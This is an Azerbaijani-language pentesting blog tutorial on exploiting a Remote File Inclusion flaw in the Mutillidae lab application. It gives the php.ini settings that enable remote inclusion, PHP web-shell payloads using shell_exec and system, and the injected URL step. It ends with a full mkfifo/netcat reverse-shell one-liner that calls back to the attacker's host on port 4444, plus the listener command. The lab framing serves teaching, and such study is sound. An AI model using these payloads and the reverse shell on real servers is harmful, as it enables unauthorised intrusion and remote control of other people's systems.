Salam hər vaxtınız xeyir dəyərli oxucular, bu gün Web pentest və web boşluqların tapılması başlığı altında RFI (Remote File Inclusion) boşluğunun haqqında məlumat və exploit edilməsi üzrə məlumat əldə edəcəyik.
Telegram kanalına qoşularaq bu və digər mövzular üzrə quizlərdə iştirak edə bilərsiniz!
Telegram (Kanal): https://t.me/xakeraz_official
RFI (Remote File Inclusion) boşluğu
RFI(Remote File Inclusion) – LFI boşluğunda olduğu kimi bizə görüntülənməsi və istifadəsi qadağan olan faylları daxil etməyə və icra etməyə imkan verir. Ancaq bir fərqi vardırki, LFİ (Local File İnclusion) Lokal olaraq yəni həmin veb saytın yerləşdiyi serverin faylarını daxil etmək olurdusa, RFİ (Remote File İnclusion) isə bizə digər veb saytın faylını hədəf saytda icra etməyə imkan verir.
Təsəvvür edəkki aşağıdakı kimi faylı daxil edərək çalışan bir veb səhifəmiz vardır.
http://192.168.10.36/mutillidae/index.php?page=text-file-viewer.php
Bu qırmızı işarələdiyim hissəyə page parametrinə xarici resursun məlumatlarını daxil edə bilərik.
Bütün bu əməliyyatları yerinə yetirməzdən əvvəl hədəf saytın konfiqurasiyasını bu istiqamətdə dəyişmək lazımdırki, biz hədəf saytda xarici resurs icra edə bilək. Qovluq olaraq /etc/php5/apache2/php.ini faylında aşağıda göstərdiyim parametrləri göstərildiyi kimi dəyişdirmək lazımdır.Faylı açın və həmin parametrləri dəyişdirin.
Allow_url_fopen=On
Allow_url_include=On
allow_url_fopen=On → yalnız oxumaq icazəsi verir
allow_url_include=On → remote kodu icra etməyə icazə verir
Gördüyünüz parametrlərin hədəf saytın RFİ və LFİ boşluqlarının yaranma səbəbinin bir hissəsidir. İstənilən pentest zamanı php.ini faylında bu parametrlərə diqqət etməyə dəyər.
Hədəf serverdə servisi yenidən başladaq və ya serveri yenidən başladaq.
service apache2 restart /Apache2 servisini yenidən başlatmaq üçün
reboot / Serveri yenidən başlatmaq üçün
İndiki mərhələdə isə exploit üçün PHP dilində skriptini yaza bilərik.Biz PHP dilində GET metodu cmd parametrindən əldə edilən kommandanı icra edən skript yaza və onu shell.txt faylında saxlayaq.
shell.txt
<?php echo shell_exec("ls");?>
Əlavə olaraq aşağıdakı funksiyadan da istifadə edə bilərik.Eləcədə shell.php adında saxlamaq mümkündür.
<?php echo system("ls");?>
Apache2 servisini restart etdikdən sonra hədəf saytda bu URL daxil edirik və hədəf saytda bunun nəticəsini görürük.
KALİ LİNUX İP = 192.168.10.16
HƏDƏF SAYT İP = 192.168.10.38
Hədəf saytın txt daxil edən parametrinə bizim URL adresi daxil edirik.

Gördüyümüz kimi ls kommandası daxil edilib və hədəf serverdə ls kommandası icra olunur.
Artıq hədəf serverdə ls kommandası icra olunduğunu gördükdə biz istənilən kommandanı icra edə bilərik. Reverse shell əldə etmək üçün hədəf sayta reverse shell kommandasını icra edək.
Reverse shell kommandaları üçün bu paylaşıma baxa bilərsiniz.
https://xaker.az/2025/04/10/reverse-shell-kommandalari-reverse-shell-cheatsheet/: RFI (Remote File Inclusion) boşluğunun exploit edilməsiMəsələmizdə aşağıdakı reverse shell əldə etmək üsulundan istifadə etdik.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.16 4444 >/tmp/f
Eynilə netcat aləti ilə biz öz hostumuzda hədəfdən gələcək olan bağlantını dinləyək.
nc -nvlp 4444

Beləliklə hədəf saytın RFİ boşluğundan istifadə edərək hədəfi exploit etdik.
Ümidvaram faydalı olmuşdur.Təşəkkürlər!
Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Paylaşımların səliqəli yığılmış halı: https://t.me/xakerazgroup
Fikir və şərhləriniz : https://t.me/xakerazchat